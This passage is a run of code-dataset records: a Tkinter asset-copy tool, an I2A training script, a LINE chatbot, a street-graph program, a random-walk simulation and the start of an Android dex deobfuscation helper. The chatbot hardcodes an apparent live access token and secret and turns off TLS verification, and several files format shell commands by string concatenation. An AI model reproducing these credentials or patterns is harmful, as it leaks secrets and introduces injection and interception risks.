myworker(self):\n self.workStatus = True\n # for x in range(1,self.num):\n # time.sleep(0.01)\n # self.gui.insertInfoToScr(self.gui.art_ui.scr,tk.END,str.format('%d' % x + '\\n'))\n for x in range(5,-1,-1):\n time.sleep(0.3)\n self.gui.insertInfoToScr(self.gui.art_ui.scr,tk.END,str.format('%f' % (100/x)) + '\\n')\n self.workStatus = False\n\n def myShowInfoThreader(self):\n while art_threaderState==0:\n time.sleep(0.01)\n if tmpScriptObj.messageQueue.empty():\n pass\n self.gui.insertInfoToScr(self.gui.art_ui.scr,tk.END,tmpScriptObj.messageQueue.get() + '\\n')\n \n #处理导图文件\n def opeaterCopyfile(self):\n instertProess = \"\"\"\nimport queue\n\n#显示用数据库\nmessageQueue = queue.Queue()\ndef myQueueData(strdata):\n messageQueue.put(strdata)\n\"\"\"\n if os.path.exists('%s/temp_copy_files.py' % self.scriptPath):\n print(\"已删除\")\n os.system('rm %s/temp_copy_files.py' % self.scriptPath)\n print(\"新建\")\n os.system('cp %s/copy_files.py %s/temp_copy_files.py' % (self.scriptPath,self.scriptPath))\n\n # 导入存数据库代码\n pattern2 = re.compile(r\"\\s*import\\s*\")\n file = open('%s/temp_copy_files.py' % self.scriptPath,'r+')\n content = file.read()\n file.close()\n\n a = content.split('\\n')\n tmpIndex = -1\n for i in range(len(a)):\n match = pattern2.match(a[i])\n if match:\n tmpIndex = i\n a[tmpIndex] = a[tmpIndex] + instertProess\n \n #导入提示存入数据库代码\n pattern3 = re.compile(r\"\\s*print\\s*\\(\")\n pattern4 = re.compile(r\".*拷贝目录:.*\")\n pattern5 = re.compile(r\"# 拷贝资源\\s*\")\n pattern6 = re.compile(r\".*压缩目录:.*\")\n deleteStatus = 0\n for i in range(len(a)):\n match = pattern3.match(a[i])\n match5 = pattern5.match(a[i])\n if match5:\n deleteStatus = 1\n if deleteStatus == 1:\n a[i] = '# ' + a[i]\n if match and deleteStatus==0:\n matc4 = pattern4.match(a[i])\n if matc4:#文件有语法诟病 此处是为了 在不动源文件基础下进行操作\n a[i] = re.sub('\\\"拷贝目录:\\\",','\\\"拷贝目录:%s\\\" %',a[i],1)\n match6 = pattern6.match(a[i])\n if match6:\n a[i] = re.sub('\\\"压缩目录:\\\",','\\\"压缩目录:%s\\\" %',a[i],1)\n\n testc = re.sub(pattern3,'(',a[i],1)\n #空格\n spece = re.sub(r\"print*.*\",\"\",a[i])\n testc2 = \"\\n\" + spece + \"tmpData = str.format\" + testc\n a[i] = a[i] + testc2 + \"\\n\" + spece + \"myQueueData(tmpData)\"\n\n s = '\\n'.join(a)\n fp = open('%s/temp_copy_files.py' % self.scriptPath, 'w')\n fp.write(s)\n fp.close()\n\n def myHandleArtThreader(self,cacPath):\n self.workStatus = True\n self.gui.lockhandelUi(True)\n self.gui.insertInfoToScr(self.gui.art_ui.scr,tk.END,\"开始更新美术资源\\n\")\n obj1 = subprocess.Popen('git svn rebase',\n shell = True,\n cwd = cacPath,\n stdin = subprocess.PIPE,\n stdout = subprocess.PIPE,\n stderr = subprocess.PIPE,\n universal_newlines = True)\n while True:\n if obj1.poll() != None:\n break\n time.sleep(0.01)\n self.gui.insertInfoToScr(self.gui.art_ui.scr,tk.END,obj1.stdout.readline())\n \n obj1.stdin.close()\n obj1.stdout.close()\n obj1.stderr.close()\n \n self.gui.insertInfoToScr(self.gui.art_ui.scr,tk.END,\"美术资源更新完成\\n\")\n\n oldPath = os.getcwd() #获取当前工作目录\n tmpScriptObj.messageQueue.put(oldPath)\n os.chdir(self.scriptPath) #修改当前工作目录\n for item in tmpScriptObj.copy_dirs_map.items():\n tmpScriptObj.copy_dir_reverse(item[0], item[1])\n if tmpScriptObj.is_compress_file == True:\n t = ThreadExcept(target = tmpScriptObj.compress_dirs,gui = self.gui)\n t.setDaemon(True)\n t.start()\n t.join()\n\n art_threaderState = 1\n tmpScriptObj.messageQueue.put(\"更新了:(%d)个资源, 压缩了:(%d)个资源.\"%(tmpScriptObj.totalCopyFileCount, tmpScriptObj.totalCompressFileCount))\n tmpScriptObj.messageQueue.put(oldPath)\n os.chdir(oldPath)\n if os.path.exists('%s/temp_copy_files.py' % self.scriptPath):\n print(\"已删除\")\n os.system('rm %s/temp_copy_files.py' % self.scriptPath)\n self.workStatus = False\n self.gui.lockhandelUi(False)\n \n def handleArt(self,scriptpath):\n if self.workStatus:\n Dialog(self.root,'提示','导图进行中,请耐心等待...')\n return\n self.gui.art_ui.scr.delete(1.0, tk.END)\n self.scriptPath = scriptpath\n cacPath = scriptpath + '/../../CACommon/'\n self.opeaterCopyfile()\n global tmpScriptObj #脚本对象\n global art_threaderState #描述线程阻塞状态\n tmpScriptObj = importlib.import_module('temp_copy_files')\n art_threaderState = 0\n t2 = threading.Thread(target = self.myShowInfoThreader)\n t2.setDaemon(True)\n t2.start()\n\n t3 = threading.Thread(target = self.myHandleArtThreader,args=(cacPath,))\n t3.setDaemon(True)\n t3.start()\n\ndef main():\n root = tk.Tk() # 这里\n #fix the root window size\n root.minsize(840, 600)\n root.maxsize(840, 600) #这里主要是控制窗口的大小,让窗口大小不能改变\n root.title('赵日天大魔王的工具箱') #设置主窗口的标题\n mytools = MyTools(root)\n root.mainloop() # 这里进入顶层窗口的循环\nif __name__ == '__main__':\n main()\n\n \n\n \n \n\n ","sub_path":"Content/tools/myTools.py","file_name":"myTools.py","file_ext":"py","file_size_in_byte":30147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"586514731","text":"import numpy as np\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.autograd as autograd\nimport torch.nn.functional as F\nimport wrapper\nimport gym\nimport torch.nn.utils as nn_utils\nimport time\nimport csv\n\nfrom actor_critic_02 import ActorCritic\nfrom multiprocessing_env import SubprocVecEnv\nfrom minipacman import MiniPacman\nfrom environment_model import *\nfrom i2a_02 import *\nimport common\n\n\nUSE_CUDA = torch.cuda.is_available()\nROLLOUTS_STEPS = 3\nLEARNING_RATE = 1e-4\nPOLICY_LR = 1e-4\nTEST_EVERY_BATCH = 1000\nNUM_ENVS = 16\nNUM_OF_EPISODES = 100000\nREWARD_STEPS = 5\nGAMMA = 0.99\nCLIP_GRAD = 0.5\nENTROPY_BETA = 0.01\nVALUE_LOSS_COEF = 0.5\nBATCH_SIZE = REWARD_STEPS * 16\nSAVE_EVERY_BATCH = 10000\n\ndef set_seed(seed, envs=None, cuda=False):\n np.random.seed(seed)\n torch.manual_seed(seed)\n if cuda:\n torch.cuda.manual_seed(seed)\n\n if envs:\n for idx, env in enumerate(envs):\n env.seed(seed + idx)\n\n\n\nif __name__ == \"__main__\":\n device = torch.device(\"cuda\" if USE_CUDA else \"cpu\")\n\n envs = [common.make_env() for _ in range(NUM_ENVS)]\n test_env = common.make_env(test=True)\n\n obs_shape = envs[0].observation_space.shape\n act_n = envs[0].action_space.n\n\n net_policy = ActorCritic(obs_shape, act_n).to(device)\n\n net_em = EnvironmentModel(obs_shape, act_n)\n net_em.load_state_dict(torch.load(\"breakout.env\"))\n net_em = net_em.to(device)\n\n net_i2a = I2A(obs_shape, act_n, net_em, net_policy, ROLLOUTS_STEPS).to(device)\n print(net_i2a)\n\n obs = envs[0].reset()\n obs_v = common.default_states_preprocessor([obs]).to(device)\n res = net_i2a(obs_v)\n\n optimizer = optim.RMSprop(net_i2a.parameters(), lr=LEARNING_RATE, eps=1e-5)\n policy_opt = optim.Adam(net_policy.parameters(), lr=POLICY_LR)\n\n step_idx = 0\n total_steps = 0\n ts_start = time.time()\n best_reward = None\n best_test_reward = None\n for mb_obs, mb_rewards, mb_actions, mb_values, mb_probs, done_rewards, done_steps in \\\n common.iterate_batches(envs, net_i2a, device):\n if len(done_rewards) > 0:\n total_steps += sum(done_steps)\n speed = total_steps / (time.time() - ts_start)\n if best_reward is None:\n best_reward = done_rewards.max()\n elif best_reward < done_rewards.max():\n best_reward = done_rewards.max()\n \n obs_v = common.train_a2c(net_i2a, mb_obs, mb_rewards, mb_actions, mb_values,\n optimizer, step_idx, device=device)\n # policy distillation\n probs_v = torch.FloatTensor(mb_probs).to(device)\n policy_opt.zero_grad()\n logits_v, _ = net_policy(obs_v)\n policy_loss_v = -F.log_softmax(logits_v, dim=1) * probs_v.view_as(logits_v)\n policy_loss_v = policy_loss_v.sum(dim=1).mean()\n policy_loss_v.backward()\n policy_opt.step()\n\n step_idx += 1\n\n if step_idx % SAVE_EVERY_BATCH == 0:\n fname = \"breakout.i2a\"\n torch.save(net_em.state_dict(), fname)\n torch.save(net_policy.state_dict(), fname + \".policy\")\n\n if step_idx % TEST_EVERY_BATCH == 0:\n test_reward, test_steps = common.test_model(test_env, net_i2a, device=device)\n \n append_to_file = [step_idx, test_reward]\n with open('i2a_performance.csv', 'a') as f:\n writer = csv.writer(f)\n writer.writerow(append_to_file)\n\n if best_test_reward is None or best_test_reward < test_reward:\n if best_test_reward is not None:\n fname = \"breakout.i2a\"\n torch.save(net_i2a.state_dict(), fname)\n torch.save(net_policy.state_dict(), fname + \".policy\")\n print(\"Save I2A NET at step\", step_idx)\n else:\n fname = \"breakout.env.i2a\"\n torch.save(net_em.state_dict(), fname)\n print(\"Save I2A ENV NET at step\", step_idx)\n best_test_reward = test_reward\n print(\"%d: test reward=%.2f, steps=%.2f, best_reward=%.2f\" % (\n step_idx, test_reward, test_steps, best_test_reward))\n\nfname = \"breakout.i2a\"\ntorch.save(net_i2a.state_dict(), fname)\ntorch.save(net_policy.state_dict(), fname + \".policy\")\ntorch.save(net_em.state_dict(), fname + \".env.dat\")\n","sub_path":"I2A_experiments_mini_pacman/mini_pacman_code/02_train_i2a.py","file_name":"02_train_i2a.py","file_ext":"py","file_size_in_byte":4385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"344786729","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Apr 2 16:31:45 2018\r\n\r\n@author: terry_ian\r\n\"\"\"\r\n\r\nfrom flask import Flask, request, abort\r\n\r\nfrom linebot import (\r\nLineBotApi, WebhookHandler\r\n)\r\nfrom linebot.exceptions import (\r\nInvalidSignatureError\r\n)\r\nfrom linebot.models import (\r\nMessageEvent, TextMessage, TextSendMessage,\r\n)\r\nfrom weatherbot import LineBot \r\nweather_line_bot = LineBot()\r\nfrom linebot.models import *\r\nimport random\r\nimport datetime\r\nimport difflib \r\nimport jieba\r\nfrom chatterbot import ChatBot\r\nfrom chatterbot.trainers import ChatterBotCorpusTrainer\r\nimport requests \r\nfrom bs4 import BeautifulSoup\r\nfrom urllib.request import urlretrieve\r\nfrom pandas.core.frame import DataFrame\r\nimport pandas\r\n\r\ndeepThought = ChatBot(\"deepThought\")\r\ndeepThought.set_trainer(ChatterBotCorpusTrainer)\r\n# 使用中文语料库训练它\r\ndeepThought.train(\"chatterbot.corpus.chinese.greetings\")\r\ndeepThought.train(\"chatterbot.corpus.chinese.conversations\")\r\ndeepThought.train(\"chatterbot.trivia.chinese\") # 语料库\r\n\r\n\r\n#台銀匯率網址\r\ndfs = pandas.read_html('http://rate.bot.com.tw/xrt?Lang=zh-TW')\r\n#取dsf的list 資料\r\ncurrency = dfs[0]\r\n#只取前五欄\r\ncurrency = currency.ix[:,0:5]\r\n#重新命名欄位名稱 u-utf\r\ncurrency.columns = [u'幣別',u'現金匯率-本行買入',u'現金匯率-本行賣出',u'現金匯率-本行買入',u'現金匯率-本行賣出']\r\n#幣別值有重複字 利用正規式取英文代號\r\n#\\s 代表非空白字元\r\ncurrency[u'幣別'] = currency[u'幣別'].str.extract('(.+\\s+\\s)')\r\nprice=pandas.DataFrame(currency,columns=['幣別','現金匯率-本行買入','現金匯率-本行賣出','現金匯率-本行買入','現金匯率-本行賣出'])\r\n\r\n#電影\r\ndef movie():\r\n target_url = 'https://movies.yahoo.com.tw/'\r\n rs = requests.session()\r\n res = rs.get(target_url, verify=False)\r\n res.encoding = 'utf-8'\r\n soup = BeautifulSoup(res.text, 'html.parser') \r\n content = \"\"\r\n for index, data in enumerate(soup.select('div.movielist_info h1 a')):\r\n if index == 20:\r\n return content \r\n title = data.text\r\n link = data['href']\r\n content += '{}\\n{}\\n'.format(title, link)\r\n return content\r\n\r\n#新聞\r\ndef apple_news2():\r\n target_url = 'https://tw.appledaily.com/new/realtime'\r\n rs = requests.session()\r\n res = rs.get(target_url, verify=False)\r\n res.encoding = 'utf-8'\r\n soup = BeautifulSoup(res.text, 'html.parser') \r\n content = \"\"\r\n for index, data in enumerate(soup.select('div.item a')):\r\n if index ==10: \r\n return content\r\n print(data) \r\n title = data.find('img')['alt']\r\n link = data['href']\r\n link2 = 'https:'+ data.find('img')['data-src']\r\n content+='{}\\n{}\\n{}\\n'.format(title,link,link2)\r\n return content\r\n\r\n\r\napp = Flask(__name__)\r\n\r\nline_bot_api = LineBotApi('THcbNW71Q9XNcAAamM/x9mc3h9ZU32FjrEr7QX+Kk4lIbzGwtHpxX+qWXRL1z+QgFzLW7hsxPQOHSGCb3wUizePYFleTuBjUYCuAktr/oakSGf+IZPmtrn0lC7wZi6YVmAab0ahSzZ5G6TJYeJFI7AdB04t89/1O/w1cDnyilFU=')\r\nhandler = WebhookHandler('b3358afe260626a99ecdcb11b5d6f6cd')\r\n\r\n@app.route(\"/\", methods=['GET'])\r\ndef hello():\r\n return \"Hello World!\"\r\n\r\n@app.route(\"/\", methods=['POST'])\r\ndef callback():\r\n # get X-Line-Signature header value\r\n signature = request.headers['X-Line-Signature']\r\n\r\n # get request body as text\r\n body = request.get_data(as_text=True)\r\n print(\"Request body: \" + body, \"Signature: \" + signature)\r\n # handle webhook body\r\n try:\r\n handler.handle(body, signature)\r\n except InvalidSignatureError:\r\n abort(4000)\r\n\r\n return 'OK'\r\n\r\n\r\n@handler.add(MessageEvent, message=TextMessage)\r\ndef handle_message(event):\r\n msg = event.message.text\r\n print(msg)\r\n msg = msg.encode('utf-8')\r\n mytext = \",\".join(jieba.cut(event.message.text, cut_all=False))\r\n if mytext.find('terry') >= 0:\r\n print(\"文字get\")\r\n message = TextSendMessage(text='好帥好帥好帥帥')\r\n line_bot_api.reply_message(event.reply_token, message)\r\n elif mytext.find('你好') >= 0:\r\n print(\"文字get\")\r\n message = TextSendMessage(text='你好我是terry的智能客服')\r\n line_bot_api.reply_message(event.reply_token, message)\r\n elif mytext.find('網站')>= 0 or mytext.find('網頁')>= 0 or mytext.find('黑屏')>= 0:\r\n print(\"文字get\")\r\n message = TextSendMessage(text='您好! 你可以參考 https://www.bbin.support/problem/unableOpenSite.html')\r\n line_bot_api.reply_message(event.reply_token, message)\r\n elif mytext.find('遊戲')>= 0 :\r\n print(\"文字get\")\r\n message = TextSendMessage(text='您好! 你可以參考 https://www.bbin.support/problem/unablePlayGame.html')\r\n line_bot_api.reply_message(event.reply_token, message)\r\n elif mytext.find('緩慢')>= 0 or mytext.find('慢') >= 0:\r\n print(\"文字get\")\r\n message = TextSendMessage(text='您好! 你可以參考 https://www.bbin.support/problem/visitsSlow.html')\r\n line_bot_api.reply_message(event.reply_token, message)\r\n elif mytext.find('早安') >= 0:\r\n print(\"文字get\")\r\n message = TextSendMessage(text='早安呀! 非常感謝你的問好')\r\n line_bot_api.reply_message(event.reply_token, message)\r\n elif mytext.find('午安') >= 0:\r\n print(\"文字get\")\r\n message = TextSendMessage(text='午安呀! 中餐吃過了嗎')\r\n line_bot_api.reply_message(event.reply_token, message)\r\n elif mytext.find('晚安') >= 0:\r\n print(\"文字get\")\r\n message = TextSendMessage(text='晚安呀! 祝你有個好眠')\r\n line_bot_api.reply_message(event.reply_token, message)\r\n elif mytext.find('貼圖') >= 0:\r\n print(\"貼圖get\")\r\n line_bot_api.reply_message(event.reply_token,StickerSendMessage(package_id=1, sticker_id=random.randint(1,10)))\r\n elif mytext.find('時間')>= 0 or mytext.find('日期')>= 0 or mytext.find('年')>= 0 or mytext.find('月')>= 0 or mytext.find('幾號') >= 0: \r\n print(\"文字get\")\r\n theTime = datetime.datetime.now()\r\n theTime=str(theTime)\r\n message = TextSendMessage(text=theTime)\r\n line_bot_api.reply_message(event.reply_token, message) \r\n elif mytext.find('天氣') >= 0: \r\n print(\"文字get\")\r\n message = TextSendMessage(text=str(weather_line_bot.getResponse(event.message.text)))\r\n line_bot_api.reply_message(event.reply_token, message) \r\n elif mytext.find('電影') >= 0:\r\n print(\"文字get\")\r\n a=movie()\r\n message = TextSendMessage(text=a)\r\n line_bot_api.reply_message(event.reply_token, message)\r\n elif mytext.find('新聞') >= 0:\r\n print(\"文字get\")\r\n a=apple_news2()\r\n message = TextSendMessage(text=a)\r\n line_bot_api.reply_message(event.reply_token, message)\r\n elif mytext.find('正妹') >= 0: \r\n print(\"正妹get\")\r\n b=random.randint(1,5)\r\n phototext=['86dXT2s','uQOHkaE','Qou99G2','BwX1xJU','yDiYoyF']\r\n message = ImageSendMessage(\r\n original_content_url='https://i.imgur.com/'+phototext[b]+'.jpg',\r\n preview_image_url='https://i.imgur.com/'+phototext[b]+'.jpg'\r\n )\r\n line_bot_api.reply_message(event.reply_token, message) \r\n elif mytext.find('帥哥') >= 0: \r\n print(\"帥哥get\")\r\n b=random.randint(1,7)\r\n phototext=['tbdgegX','JHWYf6z','h30cFkc','0eqM8d1','cyUtm23','Lpeytzj','ZYQLzrn','OrKe3w2']\r\n message = ImageSendMessage(\r\n original_content_url='https://i.imgur.com/'+phototext[b]+'.jpg',\r\n preview_image_url='https://i.imgur.com/'+phototext[b]+'.jpg'\r\n )\r\n line_bot_api.reply_message(event.reply_token, message)\r\n elif mytext.find('匯率') >= 0 :\r\n print(\"文字get\")\r\n if mytext.find('美金')>= 0 : j=0\r\n if mytext.find('港幣')>= 0 : j=1\r\n if mytext.find('英鎊') >= 0: j=2\r\n if mytext.find('澳幣')>= 0 : j=3\r\n if mytext.find('加拿大幣')>= 0 : j=4\r\n if mytext.find('新加坡幣')>= 0 : j=5\r\n if mytext.find('瑞士法郎')>= 0 : j=6\r\n if mytext.find('日圓')>= 0 : j=7\r\n if mytext.find('南非幣')>= 0 : j=8\r\n if mytext.find('瑞典幣')>= 0 : j=9\r\n if mytext.find('紐元')>= 0 : j=10\r\n if mytext.find('泰幣')>= 0 : j=11\r\n if mytext.find('菲國比索')>= 0 : j=12\r\n if mytext.find('印尼幣')>= 0 : j=13\r\n if mytext.find('歐元')>= 0 : j=14\r\n if mytext.find('韓元')>= 0 : j=15\r\n if mytext.find('越南盾')>= 0 : j=16\r\n if mytext.find('馬來幣')>= 0 : j=17\r\n if mytext.find('人民幣')>= 0 : j=18\r\n\r\n message = TextSendMessage(text='今天'+price.values[j,0]+'匯率為' + '現金匯率-本行買入'+price.values[j,1]+'現金匯率-本行賣出'+price.values[j,2]+'現金匯率-本行買入'+price.values[j,3]+'現金匯率-本行賣出'+price.values[j,4])\r\n line_bot_api.reply_message(event.reply_token, message)\r\n else : \r\n #line_bot_api.reply_message(event.reply_token,TextSendMessage(text=event.message.text))\r\n print(\"解釋get\")\r\n #message = TextSendMessage(text='我聽不太懂你說的,可以換個方式說唷')\r\n #line_bot_api.reply_message(event.reply_token, message)\r\n \r\n message = TextSendMessage(text=str(deepThought.get_response(event.message.text)))\r\n line_bot_api.reply_message(event.reply_token, message)\r\nif __name__ == \"__main__\":\r\n app.run(debug=False,port=3000)\r\n","sub_path":"chatbot/apptest.py","file_name":"apptest.py","file_ext":"py","file_size_in_byte":9651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"522688440","text":"import re\nimport sys\n\nclass Point(object):\n def __init__(self,x,y):\n self.x = float(x)\n self.y = float(y)\n def __repr__(self):\n return'({0:.2f},{1:.2f})'.format(self.x,self.y)\n\nclass Line(object):\n def __init__(self,p1,p2):\n self.src = p1\n self.dst = p2\n def __repr__(self):\n return repr(self.src) + '-->' + repr(self.dst)\n\n\ndef intersection(l1, l2):\n x1, y1 = l1.src.x, l1.src.y\n x2, y2 = l1.dst.x, l1.dst.y\n x3, y3 = l2.src.x, l2.src.y\n x4, y4 = l2.dst.x, l2.dst.y\n\n x_num = ((x1 * y2 - y1 * x2) * (x3 - x4) - (x1 - x2) * (x3 * y4 - y3 * x4))\n x_den = ((x1 - x2) * (y3 - y4) - (y1 - y2) * (x3 - x4))\n if x_den == 0:\n return None\n x_coor = x_num / x_den\n\n\n y_num = (x1 * y2 - y1 * x2) * (y3 - y4) - (y1 - y2) * (x3 * y4 - y3 * x4)\n y_den = (x1 - x2) * (y3 - y4) - (y1 - y2) * (x3 - x4)\n if y_den == 0:\n return None\n y_coor = y_num / y_den\n\n if (min(x1, x2) <= x_coor <= max(x1, x2) and min(y1, y2) <= y_coor <= max(y1, y2)) and (\n (min(x3, x4) <= x_coor <= max(x3, x4) and min(y3, y4) <= y_coor <= max(y3, y4))):\n return Point(x_coor, y_coor), l1, l2\n else:\n return None\n\ndef Graph(vertice_dict, edge_list):\n print(\"V\" + \" \" + str(len(vertice_dict)))\n sys.stdout.write(\"E {\")\n for e in range(len(edge_list)):\n if e == len(edge_list) - 1:\n sys.stdout.write(\"<\" + str(edge_list[e][0]) + \",\" + str(edge_list[e][1]) + \">\")\n else:\n sys.stdout.write(\"<\" + str(edge_list[e][0]) + \",\" + str(edge_list[e][1]) + \">,\")\n print(\"}\")\n sys.stdout.flush()\n\n\ndef distance_sort(vertices):\n for i in range(len(vertices)):\n for j in range(len(vertices[i])):\n for k in range(len(vertices[i][j])):\n vertices[i][j][k][1] = distance(vertices[i][j][0][0], vertices[i][j][k][0])\n vertices[i][j].sort(key=lambda x: x[1])\n return vertices\n\n\ndef distance(p1,p2):\n return ((p1[0] - p2[0]) ** 2) + ((p1[1] - p2[1]) ** 2)\n\n\ndef r_vertice(vertices, intersect_segment):\n for i in range(len(intersect_segment)):\n for j in range(len(intersect_segment[i])):\n if intersect_segment[i][j] == 0:\n vertices[i][j] = []\n return vertices\n\n\ndef g_vertice_edge(vertices):\n vertice_dict = {}\n edge_list = []\n index = 0\n for i in range(len(vertices)):\n for j in range(len(vertices[i])):\n for k in range(len(vertices[i][j])):\n if vertices[i][j][k][0] not in vertice_dict:\n vertice_dict[vertices[i][j][k][0]] = index\n index = index + 1\n\n for i in range(len(vertices)):\n for j in range(len(vertices[i])):\n for k in range(len(vertices[i][j]) - 1):\n edge_list.append((vertice_dict[vertices[i][j][k][0]], vertice_dict[vertices[i][j][k + 1][0]]))\n\n return vertice_dict, edge_list\n\n\nDictionary = {}\nl = []\n\nwhile True:\n try:\n cmd_input = raw_input()\n if cmd_input == \"exit\":\n break\n\n if re.match(r'[ac] \\\"[a-zA-Z *]+\\\" (\\(-?[0-9]+,-?[0-9]+\\) ?)+', cmd_input) or re.match(r'r (\\\"[a-zA-z\\s]+\\\")$', cmd_input) or re.match(r'g',cmd_input):\n # print(\"Valid Input\")\n cmd_add_change_street = re.match(\"([ac]) (\\\"[a-zA-Z *]+\\\") ((\\(-?[0-9]+,-?[0-9]+\\) ?)+)\", cmd_input)\n cmd_remove_street = re.match(\"(r) (\\\"[a-zA-z\\s]+\\\")\", cmd_input)\n cmd_generate = re.match(\"(g)\", cmd_input)\n\n if cmd_add_change_street:\n action = (cmd_add_change_street.group(1))\n # print(action)\n street_name = (cmd_add_change_street.group(2))\n # print(street_name)\n if action == 'a' and street_name in Dictionary:\n sys.stderr.write(\"Error: Street already exists\\n\")\n else:\n coor = (cmd_add_change_street.group(3))\n if action == 'c' and street_name not in Dictionary:\n sys.stderr.write(\"Error: Street does not exists\\n\")\n continue\n\n\n # find = (re.findall(\"\\(-?[0-9],-?[0-9]\\)\", coor))\n # xcoor = (re.findall(\"\\(-?[0-9],find)\")\n # print(xcoor.split('('))\n\n find = re.findall(\"-?[0-9]+\", coor)\n coor_list = []\n for i in range(0, len(find), 2):\n coor_list.append((float(find[i]), float(find[i + 1])))\n #print(coor_list)\n\n\n # print(find)\n p = []\n\n for i in range(len(coor_list)):\n point = Point(coor_list[i][0],coor_list[i][1])\n p.append(point)\n Dictionary[street_name] = p\n #find[i] = int(find[i])\n # for i in range(0,len(find),2):\n # p.append(Point(float(find[i]),float(find[i+1])))\n #for i in range(0,len(p)-1):\n # l.append(Line(p[i],p[i+1]))\n # print(l)\n #print(p)\n\n # for i in range(1,len(l)):\n # poi, g1, g2= intersection(l[i-1],l[i])\n # print(i, \":\", poi)\n\n #Dictionary[street_name] = p\n # print(Dictionary)\n pass\n\n elif cmd_remove_street:\n action = (cmd_remove_street.group(1))\n # print(action)\n street_name = (cmd_remove_street.group(2))\n # print(street_name)\n if action == 'r' and street_name not in Dictionary:\n sys.stderr.write(\"Error: Street does not exist\\n\")\n else:\n del Dictionary[street_name]\n #print(Dictionary)\n pass\n\n elif cmd_generate:\n vertice_dict = {}\n edge_list = []\n action = (cmd_generate.group(1))\n intersect_segment = []\n vertices = []\n street_lines = []\n\n for street_name in Dictionary:\n p = Dictionary[street_name]\n segment_list = []\n segment_points = []\n intersecting = []\n for i in range(len(p) - 1):\n intersecting.append(0)\n segment_points.append([[(p[i].x, p[i].y), 0], [(p[i + 1].x, p[i + 1].y), 0]])\n segment_list.append(Line(p[i], p[i + 1]))\n intersect_segment.append(intersecting)\n street_lines.append(segment_list)\n vertices.append(segment_points)\n for i in range(len(street_lines) - 1):\n for j in range(len(street_lines[i])):\n for k in range(i + 1, len(street_lines)):\n for l in range(len(street_lines[k])):\n final_intersection = intersection(street_lines[i][j], street_lines[k][l])\n if final_intersection:\n inter_point = (final_intersection[0].x, final_intersection[0].y)\n\n if [inter_point, 0] not in vertices[i][j]:\n vertices[i][j].append([inter_point, 0])\n if [inter_point, 0] not in vertices[k][l]:\n vertices[k][l].append([inter_point, 0])\n\n intersect_segment[i][j] = 1\n intersect_segment[k][l] = 1\n vertices = distance_sort(vertices)\n vertices = r_vertice(vertices, intersect_segment)\n vertice_dict , edge_list = g_vertice_edge(vertices)\n #return vertice_dict , edge_list\n #if len(Dictionary) <= 1:\n #vertice_dict = {}\n #edge_list =[]\n Graph(vertice_dict, edge_list)\n\n # print(action)\n # print(l)\n # print(p)\n # # for i in range(1,len(l)):\n # # poi, g1, g2= intersection(l[i-1],l[i])\n # # print(i, \":\", poi)\n # print(Dictionary)\n\n\n else:\n sys.stderr.write(\"Error: Invalid Input\\n\")\n except EOFError:\n sys.exit(0)\n","sub_path":"a1-ece650.py","file_name":"a1-ece650.py","file_ext":"py","file_size_in_byte":8416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"5579387","text":"'''\nSo, we seek the probability distribution of backtrack times,\nP(tbt)P(tbt) , where tbttbt is the time spent in the backtrack.\nWe could solve this analytically, which requires some sophisticated mathematics.\nBut, because we know how to draw random numbers,\nwe can just compute this distribution directly using Monte Carlo simulation!\nWe start at x=0x=0 at time t=0t=0\nWe \"flip a coin,\" or choose a random number to decide whether we step left or right.\nWe do this again and again, keeping track of how many steps we take and what the\nxx position is. As soon as xx becomes positive, we have existed the backtrack.\nThe total time for a backtrack is then τnstepsτnsteps ,\nwhere ττ is the time it takes to make a step. Depken, et al., report that τ≈0.5 seconds.\n\na) Write a function, backtrack_steps(),\nthat computes the number of steps it takes for a random walker\n(i.e., polymerase) starting at position x=0x=0 to get to position x=+1.\nIt should return the number of steps to take the walk.\n\nb) Generate 10,000 of these backtracks in order to get enough samples out of P(tbt).\n(If you are interested in a way to really speed up this calculation, ask me about Numba.)\n\nc) Use plt.hist() to plot a histogram of the backtrack times.\nUse the normed=True kwarg so it approximates a probability distribution function.\n\nd) You saw some craziness in part (c).\nThat is because, while most backtracks are short, some are reeeally long.\nSo, instead, generate an ECDF of your samples and plot the ECDF with the xx axis on a logarithmic scale.\n'''\nimport numpy as np\nimport numba\nimport bootcamp_utils\nimport matplotlib.pyplot as plt\n\n# Function to calculate the number of steps in the random walk\n@numba.jit(nopython=True)\ndef backtrack_steps():\n\n # Initialize position and steps\n position = 0\n steps = 0\n\n # Simulate until steps = 1\n while position < 1:\n # Either go forwards or backwards\n position += np.random.choice(np.array([-1,1]))\n steps += 1\n\n return steps\n\n# Function to perform n number of random walks\ndef n_backtracks(n):\n\n # Initialize results array\n results = np.empty(n)\n\n # Populate with data\n for i in range(len(results)):\n results[i] = backtrack_steps()\n\n return results\n\n# Get data from 10000 backtracks\nmany_backtracks = n_backtracks(10000)\n\n# Get eCDF of data\nx_ecdf, y_ecdf = bootcamp_utils.ecdf(many_backtracks)\n\nplt.plot(x_ecdf, y_ecdf)\nplt.xscale('log')\nplt.title('eCDF of 10,000 Random RNAp walks')\nplt.show()\n","sub_path":"e04_monte_carlo.py","file_name":"e04_monte_carlo.py","file_ext":"py","file_size_in_byte":2510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"544939619","text":"# -*- coding: utf-8 -*-\n\nimport argparse\nfrom time import clock\nimport os\nimport subprocess\nimport shutil\nimport zipfile\nimport tempfile\n\nfrom magic import Magic\nimport powerzip\n\nfrom .dexsim.smali_file import SmaliFile\nfrom .dexsim.driver import Driver\nfrom .dexsim.oracle import Oracle\n\n\ndef dexsim(dex_file, smali_dir, include_str):\n driver = Driver()\n driver.install(dex_file)\n\n oracle = Oracle(smali_dir, driver, include_str)\n oracle.divine()\n\n\ndef baksmali(dex_file, output_dir='out'):\n '''\n dex to smali\n '''\n cmd = 'baksmali d %s -o %s' % (dex_file, output_dir)\n subprocess.call(cmd, shell=True)\n\n return output_dir\n\n\ndef smali(smali_dir, output_file='out.dex'):\n '''\n smali to dex\n '''\n cmd = 'smali a %s -o %s' % (smali_dir, output_file)\n subprocess.call(cmd, shell=True)\n\n return 